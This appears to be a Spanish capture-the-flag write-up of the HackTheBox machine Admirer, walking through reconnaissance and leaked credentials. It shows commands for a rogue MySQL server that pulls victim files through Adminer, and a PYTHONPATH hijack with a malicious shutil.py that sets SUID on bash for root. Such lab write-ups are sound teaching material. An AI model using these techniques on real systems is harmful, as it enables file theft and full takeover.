the_open_door
café
ESEN

Admirer

HackTheBoxFácilLinux10.10.10.187

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#robots-txt#ftp#source-leak#adminer#load-data-local#rogue-mysql#open-basedir#credential-reuse#sudo#setenv#python-library-hijack
TL;DR. Admirer es una máquina Linux fácil que premia leer despacio. El robots.txt señala un /admin-dir con un credentials.txt que abre el FTP; ahí dentro hay una copia antigua del sitio con un adminer.php (Adminer 4.6.2). Adminer permite conectarse a una base de datos nuestra, así que montamos un MySQL falso y con LOAD DATA LOCAL INFILE leemos /var/www/html/index.php, que filtra la contraseña de waldo. Esa credencial sirve también para SSH. Como waldo tenemos un sudo con la etiqueta SETENV: conservamos PYTHONPATH y hacemos un secuestro de librería de Python sobre shutil para terminar como root.

Reconocimiento

Ping

Un ping rápido confirma que la máquina responde y, por el TTL, orienta sobre el sistema operativo:

ping 10.10.10.187 -c 1

ping a 10.10.10.187 con respuesta ttl=63

PING 10.10.10.187 (10.10.10.187) 56(84) bytes of data.
64 bytes from 10.10.10.187: icmp_seq=1 ttl=63 time=97.0 ms

--- 10.10.10.187 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.978/96.978/96.978/0.000 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

El barrido completo se lanza con jmap, una función del .zshrc que pide la IP y guarda la salida de nmap en formato grepable:

jmap

jmap escanea los 65535 puertos de 10.10.10.187 y descubre 21, 22 y 80 con ttl 63

[+] Introduce una IP

10.10.10.187

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 20:48 CEST
Initiating SYN Stealth Scan at 20:48
Scanning 10.10.10.187 [65535 ports]
Discovered open port 80/tcp on 10.10.10.187
Discovered open port 22/tcp on 10.10.10.187
Discovered open port 21/tcp on 10.10.10.187
Completed SYN Stealth Scan at 20:49, 14.77s elapsed (65535 total ports)
Nmap scan report for 10.10.10.187
Host is up, received user-set (0.13s latency).
Scanned at 2025-06-15 20:48:57 CEST for 15s
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.89 seconds
           Raw packets sent: 72283 (3.180MB) | Rcvd: 72279 (2.891MB)

El cuerpo de la función, para reproducir el escaneo sin ella:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

La columna REASON vuelve a mostrar el ttl 63 que ya vimos con el ping, esta vez sobre respuestas TCP y no ICMP: dos protocolos distintos apuntando al mismo sistema operativo.

extractPorts parsea ese fichero grepable y deja la lista en el portapapeles:

extractPorts scan

extractPorts imprime IP 10.10.10.187 y puertos 21,22,80 y los copia al portapapeles

Extracting information ...
IP Address: 10.10.10.187
Open ports: 21,22,80

Ports copied to clipboard

IP Address: 10.10.10.187
Open ports: 21,22,80
extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}

Y ahora el escaneo de versiones y scripts, que devuelve un detalle que marca el rumbo: el script http-robots.txt ya descubre una entrada prohibida.

jmap2 10.10.10.187 21,22,80

nmap -sCV identifica vsftpd 3.0.3, OpenSSH 7.4p1 Debian y Apache 2.4.25, y el script http-robots.txt revela /admin-dir

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
| http-robots.txt: 1 disallowed entry
|_/admin-dir
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <puertos>"
                return 1
        fi

        local ip="$1"
        local puertos="$2"
        nmap -p"$puertos" -sCV "$ip"

}

El script http-robots.txt de nmap se ejecuta solo con -sC y lee el robots.txt por nosotros. Que aparezca /admin-dir aquí es un regalo: se descubre en el reconocimiento inicial, sin lanzar todavía ninguna herramienta de fuzzing.

HTTP: identificar la pila

Antes de fuzzear, conviene saber qué corre detrás. whatweb desde consola:

whatweb 10.10.10.187

whatweb identifica Apache 2.4.25 sobre Debian, HTML5, jQuery y el título Admirer

http://10.10.10.187 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTML5,
  HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.187], JQuery,
  Script, Title[Admirer]

Y Wappalyzer desde el navegador, que añade la versión de jQuery:

Wappalyzer sobre la web de Admirer: Apache HTTP Server 2.4.25, Debian, jQuery 3.4.1 y Font Awesome

ADMIRER OF SKILLS AND VISUALS

Technologies
  Font scripts:        Font Awesome
  Web servers:         Apache HTTP Server 2.4.25
  Operating systems:   Debian
  JavaScript libraries: jQuery 3.4.1

Una galería estática sin funcionalidad aparente. El siguiente paso obligado es mirar el código fuente, por si hubiese comentarios o rutas ocultas:

el código fuente de la página: una plantilla Multiverse de HTML5 UP con artículos de imágenes

<!DOCTYPE HTML>
<!--
	Multiverse by HTML5 UP
	html5up.net | @ajlkn
	Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
	<head>
		<title>Admirer</title>
		...
		<h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>
		...
		<article class='thumb'>
		<a href='images/fulls/art01.jpg' class='image'><img src='images/thumbs/thumb_art01.jpg' alt='' /></a>
		<h2>Visual Art</h2>

el pie del código fuente: enlaces sociales vacíos y un formulario de contacto comentado como no funcional

<!-- Footer -->
<footer id="footer" class="panel">
    <h2>Allow yourself to be amazed</h2>
    <h2>Follow me on ...</h2>
    <li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>
    ...
    <h2>Get in touch</h2>
    <form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! -->

Nada aprovechable: es una plantilla gratuita de HTML5 UP con los enlaces sociales apuntando a # y un formulario que el propio comentario admite que no envía nada. Toca enumerar rutas.

Descubrimiento de contenido

Dos herramientas sobre lo mismo, porque usan diccionarios y criterios distintos:

gobuster dir -u http://10.10.10.187 -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
dirsearch -u http://10.10.10.187/ --exclude-status=404,403

gobuster encuentra /assets, /images y /server-status; dirsearch encuentra lo mismo más robots.txt

# gobuster
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.187/assets/]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.187/images/]
/server-status        (Status: 403) [Size: 277]
Progress: 220564 / 220565 (100.00%)
Finished

# dirsearch
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.187/

[23:23:06] Starting:
[23:23:34] 301 -  313B  - /assets   ->  http://10.10.10.187/assets/
[23:23:50] 301 -  313B  - /images   ->  http://10.10.10.187/images/
[23:24:08] 200 -  126B  - /robots.txt
Task Completed

Ninguna de las dos encuentra nada más allá de lo esperable en una galería. El único fichero con contenido propio es el robots.txt que nmap ya había señalado.

El robots.txt apunta a /admin-dir

El robots.txt no solo revela la ruta /admin-dir, sino que el comentario admite que contiene "contactos personales y credenciales", justo lo que un robots.txt no debería airear:

robots.txt de Admirer: el comentario revela que /admin-dir contiene contactos y credenciales

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Ese robots.txt firma el aviso con un nombre, waldo, que reaparecerá al final. Y el directorio, efectivamente, no se deja listar:

la ruta /admin-dir devuelve un 403 Forbidden de Apache 2.4.25

Forbidden

You don't have permission to access this resource.

Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80

Un 403 no es un muro: significa que el directorio existe pero Apache no lista su contenido. Los ficheros de dentro siguen siendo accesibles si se acierta con el nombre, así que apuntamos el fuzzer a esa ruta concreta:

dirsearch -u http://10.10.10.187/admin-dir/ --exclude-status=404,403

dirsearch sobre /admin-dir/ encuentra credentials.txt con respuesta 200 y 135 bytes

Target: http://10.10.10.187/

[23:48:11] Starting: admin-dir/
[23:48:47] 200 -   135B  - /admin-dir/credentials.txt
Task Completed

Un único fichero, y con el nombre más prometedor posible:

credentials.txt expuesto bajo /admin-dir con cuentas de correo, FTP y WordPress

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Tres credenciales de tres servicios distintos. De los puertos abiertos solo el FTP encaja, así que empezamos por ahí.

FTP: una copia antigua del sitio

ftp 10.10.10.187          # ftpuser / %n?4Wz}R$tTF7
prompt
mget *

acceso al FTP con ftpuser y descarga de dump.sql y html.tar.gz con mget

Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:krmena): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> prompt
Interactive mode off.
ftp> mget *
local: dump.sql remote: dump.sql
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 00:00 (9.10 KiB/s)
local: html.tar.gz remote: html.tar.gz
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 00:08 (639.43 KiB/s)

El prompt desactiva el modo interactivo, que es lo que permite que mget * descargue todo sin preguntar fichero a fichero. Dos ficheros de diciembre de 2019: un volcado de base de datos y un .tar.gz de 5 MB con la web entera.

tar -xf html.tar.gz &>/dev/null
ls
cd w4ld0s_s3cr3t_d1r
cat contacts.txt

al descomprimir html.tar.gz aparece un directorio w4ld0s_s3cr3t_d1r con contacts.txt y credentials.txt, y otro utility-scripts

# ls (antes)
dump.sql  html.tar.gz  reports  scan

# ls (después de descomprimir)
assets  dump.sql  html.tar.gz  images  index.php  reports  robots.txt  scan  utility-scripts  w4ld0s_s3cr3t_d1r

# cat contacts.txt
#########
# admins #
#########
# Penny
Email: p.wise@admirer.htb

##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb

##############
# designers #
##############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
...

Esta copia es una versión antigua del sitio: el directorio secreto se llamaba w4ld0s_s3cr3t_d1r en vez de admin-dir, y su credentials.txt contiene lo mismo que ya leímos. El contacts.txt solo aporta correos, sin contraseñas.

Lo valioso es el otro directorio: utility-scripts, que no aparecía en ninguna enumeración. Comprobamos si existe también en la versión actual:

la ruta /utility-scripts/ devuelve otro 403 Forbidden

Forbidden

You don't have permission to access this resource.

Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80

Otro 403: el directorio existe en la web actual, solo que no se lista. Y aquí es donde la copia antigua se vuelve un mapa, porque sí podemos ver qué había dentro:

cd utility-scripts
ls -la

el listado de utility-scripts en la copia local muestra admin_tasks.php, db_admin.php, info.php y phptest.php

total 24
drwxr-x---  2 root    www-data 4096 Dec  2  2019 .
drwxrwxr-x  7 krmena  krmena   4096 Jun 15 23:59 ..
-rw-r-----  1 root    www-data 1795 Dec  2  2019 admin_tasks.php
-rw-r-----  1 root    www-data  401 Dec  1  2019 db_admin.php
-rw-r-----  1 root    www-data   20 Nov 29  2019 info.php
-rw-r-----  1 root    www-data   53 Dec  2  2019 phptest.php

Cuatro nombres para probar a mano en la web actual. admin_tasks.php sí carga:

admin_tasks.php muestra un interfaz web de tareas administrativas con un desplegable donde las cuatro últimas opciones están en gris

Admin Tasks Web Interface (v0.01 beta)

up 22 hours, 58 minutes

Select task:
[ View system uptime  v ]  [ Submit Query ]

  View system uptime
  View logged in users
  View crontab
  Backup passwd file      (deshabilitada)
  Backup shadow file      (deshabilitada)
  Backup web data         (deshabilitada)
  Backup database         (deshabilitada)

Las cuatro opciones interesantes están en gris. Como eso es HTML del lado del cliente, el inspector del navegador basta para ver por qué:

el inspector muestra que las opciones 4 a 7 del select llevan el atributo disabled

<form method="POST">
<select name="task">
  <option value="1">View system uptime</option>
  <option value="2">View logged in users</option>
  <option value="3">View crontab</option>
  <option value="4" disabled="">Backup passwd file</option>
  <option value="5" disabled="">Backup shadow file</option>
  <option value="6" disabled="">Backup web data</option>
  <option value="7" disabled="">Backup database</option>
</select>
<input type="submit">
</form>

Un atributo disabled en el HTML es una restricción puramente cosmética: se borra desde el propio inspector.

tras borrar los atributos disabled, las cuatro opciones quedan como opciones normales del select

<option value="4">Backup passwd file</option>
<option value="5">Backup shadow file</option>
<option value="6">Backup web data</option>
<option value="7">Backup database</option>

el desplegable ya muestra Backup passwd file, Backup shadow file y Backup web data como opciones seleccionables

Select task:
  View system uptime
  View logged in users
  View crontab
  Backup passwd file
  Backup shadow file
  Backup web data

Ahora sí se pueden enviar, pero el servidor tiene la última palabra:

al enviar Backup database el servidor responde Insufficient privileges to perform the selected operation

Admin Tasks Web Interface (v0.01 beta)

Insufficient privileges to perform the selected operation.

Select task:
[ Backup database  v ]  [ Submit Query ]

Callejón sin salida, pero uno que enseña dos cosas. Primera: la validación real está en el servidor, y el disabled solo era decoración. Segunda, y más importante para lo que viene, ese mensaje Insufficient privileges es literalmente el else de una comprobación de $EUID dentro de un script que veremos entero al escalar privilegios. Estamos mirando la interfaz web de un script que, ejecutado como root, sí hará esas copias.

De los otros tres ficheros, db_admin.php no carga y info.php/phptest.php no aportan nada. Toca una segunda enumeración, esta vez apuntada a /utility-scripts/, por si la versión actual tiene ficheros que la copia antigua no tenía:

dirsearch -u http://10.10.10.187/utility-scripts/ --exclude-status=404,403

dirsearch sobre utility-scripts descubre adminer.php

[19:44:11] Starting: utility-scripts/
[19:44:37] 200 -    2KB - /utility-scripts/adminer.php
[19:44:37] 200 -   22KB - /utility-scripts/info.php
[19:45:10] 200 -   32B  - /utility-scripts/phptest.php
Task Completed

adminer.php no estaba en el .tar.gz: es nuevo. Y el nombre se parece sospechosamente al de la máquina, lo cual suele ser una pista deliberada.

Adminer 4.6.2

adminer.php es Adminer, un gestor web de bases de datos (similar a phpMyAdmin) que cabe en un solo fichero PHP. La página de login muestra la versión, 4.6.2:

panel de login de Adminer 4.6.2 servido por la máquina, con campos System, Server, Username, Password y Database vacíos

Adminer 4.6.2

Login
  System:   [ MySQL     v ]
  Server:   [ localhost   ]
  Username: [             ]
  Password: [             ]
  Database: [             ]
  [ Login ]  [ ] Permanent login

Lo decisivo de esta pantalla no es la versión, sino el campo Server: Adminer deja elegir a qué servidor de base de datos conectarse, y nada obliga a que sea el local. Buscando por esa versión aparece el aviso que convierte esa comodidad en vulnerabilidad:

resultado de la búsqueda sobre la vulnerabilidad de Adminer

el artículo de Foregenix muestra la interfaz de Adminer ejecutando load data local infile

foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

Adminer 4.2.2 ... 4.7.0
DB: test
SQL command:  load data local infile ...

El informe de referencia es Serious vulnerability discovered in Adminer tool (Foregenix), y describe el mecanismo: si el atacante controla el servidor MySQL al que Adminer se conecta, ese servidor puede pedirle al cliente (que corre en la máquina víctima) que le envíe ficheros locales mediante LOAD DATA LOCAL INFILE. El resultado es una lectura arbitraria de ficheros de la víctima, sin necesidad de credenciales de su base de datos.

Shell como waldo

Montar el MySQL señuelo

Necesitamos una base de datos nuestra a la que Adminer se pueda conectar, con una tabla donde caiga lo que nos envíe:

# en nuestra máquina (MariaDB)
create database admirer_exploitation;
use admirer_exploitation;
CREATE USER 'user1'@'10.10.10.187' IDENTIFIED BY '1234';
CREATE TABLE output (data VARCHAR(1024));
GRANT ALL PRIVILEGES ON admirer_exploitation.* TO 'user1'@'10.10.10.187';

preparación del MySQL señuelo: base de datos, tabla y usuario remoto en MariaDB

MariaDB [(none)]> create database admirer_exploitation;
Query OK, 1 row affected (0.001 sec)
MariaDB [(none)]> use admirer_exploitation;
Database changed
MariaDB [admirer_exploitation]> CREATE USER 'user1'@'10.10.10.187' IDENTIFIED BY '1234';
Query OK, 0 rows affected (0.001 sec)
MariaDB [admirer_exploitation]> CREATE TABLE output (data VARCHAR(1024));
Query OK, 0 rows affected (0.011 sec)
MariaDB [admirer_exploitation]> GRANT ALL PRIVILEGES ON admirer_exploitation.* TO 'user1'@'10.10.10.187';
Query OK, 0 rows affected (0.002 sec)

El usuario se crea acotado a la IP de la víctima ('user1'@'10.10.10.187'), que es lo mínimo razonable: nadie más podrá usarlo.

Falta un paso sin el cual nada de esto funciona. Por defecto MariaDB solo escucha en 127.0.0.1, así que hay que abrirlo a la red:

sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf

se edita el fichero de configuración 50-server.cnf de MariaDB con nano

(el comando abre el editor; el contenido se ve en la captura siguiente)

en 50-server.cnf la directiva bind-address queda con el valor 0.0.0.0

# * Basic Settings
#
#user                   = mysql
pid-file                = /run/mysqld/mysqld.pid
basedir                 = /usr
#datadir                = /var/lib/mysql
#tmpdir                 = /tmp

# Broken reverse DNS slows down connections considerably and name resolve is
# safe to skip if there are no "host by domain name" access grants
#skip-name-resolve

# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address            = 0.0.0.0

LOAD DATA LOCAL INFILE

Desde Adminer iniciamos sesión apuntando a nuestro servidor, no al suyo: en Server va nuestra IP de VPN (10.10.16.4), con el usuario y la base que acabamos de crear.

el formulario de login de Adminer relleno con el usuario user1 y la base admirer_exploitation

Adminer 4.6.2

Login
  System:   MySQL
  Server:   localhost
  Username: user1
  Password: ••••
  Database: admirer_exploitation
  [ Login ]  [ ] Permanent login

(El campo Server aparece con el marcador de posición localhost en gris; el valor real que se envía es nuestra IP, como confirma la URL de la captura siguiente.)

Adminer conectado a MySQL en 10.10.16.4, mostrando la base admirer_exploitation con la tabla output y el enlace SQL command

MySQL » 10.10.16.4 » Database: admirer_exploitation

Adminer 4.6.2  5.3.0

DB: admirer_exploitation
SQL command | Import | Export | Create table

Tables and views
  Table   Engine  Collation              Data Length
  output  InnoDB  utf8mb4_uca1400_ai_ci  16,384
  1 in total

La migaja de pan de arriba lo dice todo: MySQL » 10.10.16.4. Adminer, corriendo en la víctima, está conectado a nuestra base de datos. Vamos a SQL command y lanzamos la consulta. El primer intento, /etc/passwd, falla:

LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE admirer_exploitation.output

en Adminer, LOAD DATA LOCAL sobre /etc/passwd devuelve Error in query (2000): open_basedir restriction in effect

Error in query (2000): open_basedir restriction in effect. Unable to open file

Ese error es informativo, no un muro. open_basedir es una directiva de PHP que confina al intérprete a un conjunto de directorios: por muy legible que sea /etc/passwd a nivel de sistema, PHP tiene prohibido abrirlo. Y de aquí sale la pista que resuelve el problema: si PHP está confinado, casi con seguridad lo está a su propio directorio web, así que hay que pedir ficheros de dentro de /var/www/html/.

¿Cuál? Volvemos a la copia antigua del sitio y buscamos por la palabra clave obvia:

sudo grep -riE 'password' | head -n 10

grep recursivo por password encuentra credenciales en utility-scripts/db_admin.php y en index.php

utility-scripts/db_admin.php:   $password = "Wh3r3_1s_w4ld0?";
utility-scripts/db_admin.php:   $conn = new mysqli($servername, $username, $password);
index.php:                      $password = "]F7jLHw:*G>UPrTo}~A"d6b";
index.php:                      $conn = new mysqli($servername, $username, $password, $dbname);
assets/sass/components/_form.scss:      input[type="password"],
assets/sass/components/_form.scss:      input[type="password"],
assets/css/main.css:    input[type="password"],
assets/css/main.css:            input[type="password"],
assets/css/main.css:            input[type="password"]:focus,
assets/css/main.css:    input[type="password"],

Dos ficheros con credenciales de base de datos, y ninguna de las dos contraseñas sirve para SSH (son de la copia de 2019). Pero lo importante no son los valores: es que index.php contiene credenciales. Si en la versión antigua las tenía, la versión en producción tendrá las suyas, probablemente distintas. Apuntamos ahí:

LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE admirer_exploitation.output

LOAD DATA LOCAL INFILE sobre index.php ejecutado con éxito: 123 filas volcadas

Query executed OK, 123 rows affected. (0.757 s)

123 filas: una por línea del fichero. El open_basedir no molesta porque /var/www/html/ es precisamente el directorio permitido.

De index.php a la contraseña de waldo

Volcamos la tabla desde nuestro propio cliente de MariaDB:

select * from output;

select sobre la tabla output revela el index.php en producción con usuario waldo y su contraseña

MariaDB [admirer_exploitation]> select * from output;
ERROR 2006 (HY000): Server has gone away
No connection. Trying to reconnect ...
Connection id:    39
Current database: admirer_exploitation

| data                                                              |
| <!DOCTYPE HTML>                                                   |
| <!--                                                              |
| <html>                                                            |
...
|         $servername = "localhost";                                |
|         $username = "waldo";                                      |
|         $password = "&<h5b~yK3F#{PaPB6dA}{H>";                    |
|         $dbname = "admirerdb";                                    |
|                                                                   |
|         // Create connection                                      |
|         $conn = new mysqli($servername, $username, $password, $dbname);
|         // Check connection                                       |
|         if ($conn->connect_error) {                               |
|             die("Connection failed: " . $conn->connect_error);     |
|         }                                                         |
|         $sql = "SELECT * FROM items";                             |
|         $result = $conn->query($sql);                             |

El index.php en producción lleva credenciales distintas a las de la copia de 2019: usuario waldo y contraseña &<h5b~yK3F#{PaPB6dA}{H>. (El Server has gone away de la primera línea es solo la sesión de MariaDB expirada por inactividad; se reconecta sola.)

SSH

waldo no es solo un usuario de MySQL: es el nombre que firmaba el robots.txt, así que es razonable suponer que también existe en el sistema y que reutiliza la contraseña.

ssh waldo@10.10.10.187
id

ssh como waldo: el primer intento con la contraseña antigua es rechazado y el segundo entra; id devuelve uid=1000(waldo) y el grupo admins

The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established.
ED25519 key fingerprint is SHA256:MfZJmYPldPPosZMdqhpjGPkT2fGNUn2vrEielbbFz/I.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.187' (ED25519) to the list of known hosts.
waldo@10.10.10.187's password:
Permission denied, please try again.
waldo@10.10.10.187's password:
Linux admirer 4.9.0-19-amd64 x86_64 GNU/Linux
...
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Aug 24 16:09:42 2023 from 10.10.14.23
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)

El primer intento falla: es la contraseña de la copia antigua. La segunda, la que acabamos de sacar del index.php en producción, entra. Dos datos más de esa salida: la distribución es Devuan (Debian sin systemd) y waldo pertenece al grupo admins, lo cual anticipa que tendrá permisos especiales.

cat user.txt

cat user.txt en el home de waldo devuelve la flag de usuario

waldo@admirer:~$ cat user.txt
f88488375536e1bc19bf0d4be2761a70

Shell como root

sudo SETENV sobre admin_tasks.sh

sudo -l revela el detalle que lo cambia todo. waldo puede ejecutar un script como root, pero con la etiqueta SETENV:

sudo -l
cat /opt/scripts/admin_tasks.sh

sudo -l muestra SETENV sobre admin_tasks.sh y el comienzo del script con las funciones view_uptime, view_users, view_crontab y backup_passwd

[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sb...

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak ..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

Ahí está la otra mitad de lo que vimos en la web: el Insufficient privileges to perform the selected operation. que devolvía admin_tasks.php es exactamente el else de [ "$EUID" -eq 0 ]. La interfaz web ejecutaba este mismo script como www-data, y por eso fallaba. Nosotros vamos a ejecutarlo como root.

SETENV es la clave: aunque Defaults env_reset limpie el entorno, esta etiqueta permite preservar variables que indiquemos en la línea de sudo. El secure_path no protege aquí, porque lo que vamos a manipular no es el PATH de comandos, sino la ruta de búsqueda de módulos de Python.

Y esa oportunidad aparece más abajo en el mismo script:

la función backup_web del script llama a /opt/scripts/backup.py en segundo plano, y el case asocia la opción 6 a backup_web

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while ..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while ..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

La opción 6 invoca /opt/scripts/backup.py. Un script de Python ejecutado como root es justo lo que hace falta. De paso, la línea comentada de backup_db explica de dónde salía el dump.sql que descargamos por FTP.

cat /opt/scripts/backup.py

contenido de backup.py: from shutil import make_archive es la línea clave para el secuestro

#!/usr/bin/python3
from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Python Library Hijacking sobre shutil

backup.py hace from shutil import make_archive. Python busca el módulo shutil recorriendo las rutas de sys.path, y PYTHONPATH se antepone a esa lista. Si conseguimos que PYTHONPATH apunte a un directorio escribible con un shutil.py nuestro, ese se importará antes que el de la librería estándar. Es un secuestro de librería.

Conviene comprobarlo en vez de darlo por hecho: se mira sys.path antes y después de exportar la variable.

python -c 'import sys; print sys.path'
ls -l /usr/lib/python2.7/shutil.py
export PYTHONPATH="/tmp"
python -c 'import sys; print sys.path'
cd /tmp
nano shutil.py
cat shutil.py
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
/bin/bash -p
cd /root/
cat root.txt

sys.path antes y después de exportar PYTHONPATH, el shutil.py malicioso, el menú del script, el ImportError y la shell de root

waldo@admirer:~$ python -c 'import sys; print sys.path'
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/dist-packages']
waldo@admirer:~$ ls -l //usr/lib/python2.7/shutil.py
-rw-r--r-- 1 root root 19075 Feb  6  2022 //usr/lib/python2.7/shutil.py
waldo@admirer:~$ export PYTHONPATH="/tmp"
waldo@admirer:~$ python -c 'import sys; print sys.path'
['', '/tmp', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/dist-packages']
waldo@admirer:~$ cd /tmp
waldo@admirer:/tmp$ nano shutil.py
waldo@admirer:/tmp$ cat shutil.py
import os

os.system("chmod u+s /bin/bash")
waldo@admirer:/tmp$ sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
[sudo] password for waldo:

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp$ Traceback (most recent call last):
  File "/opt/scripts/backup.py", line 3, in <module>
    from shutil import make_archive
ImportError: cannot import name 'make_archive'

waldo@admirer:/tmp$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cd /root/
bash-4.4# cat root.txt
981ffba0bf04637635b12c59fc815a0c

La salida documenta el mecanismo completo. Antes de exportar, sys.path empieza por '' y sigue por los directorios del sistema; después, /tmp se cuela en segunda posición, delante de /usr/lib/python2.7. El ls -l confirma además que el shutil.py legítimo pertenece a root y no se puede tocar, de ahí que haya que adelantarse a él en vez de modificarlo.

El detalle final es el ImportError: cannot import name 'make_archive'. Ese error es la prueba de que el secuestro funcionó: Python importó nuestro shutil.py, ejecutó su cuerpo (el chmod u+s /bin/bash, ya como root) y solo entonces buscó make_archive, que en nuestro módulo no existe. El script muere, pero el bit SUID ya está puesto. Con bash -p mantenemos el euid 0 y leemos la flag.

Cadena de ataque

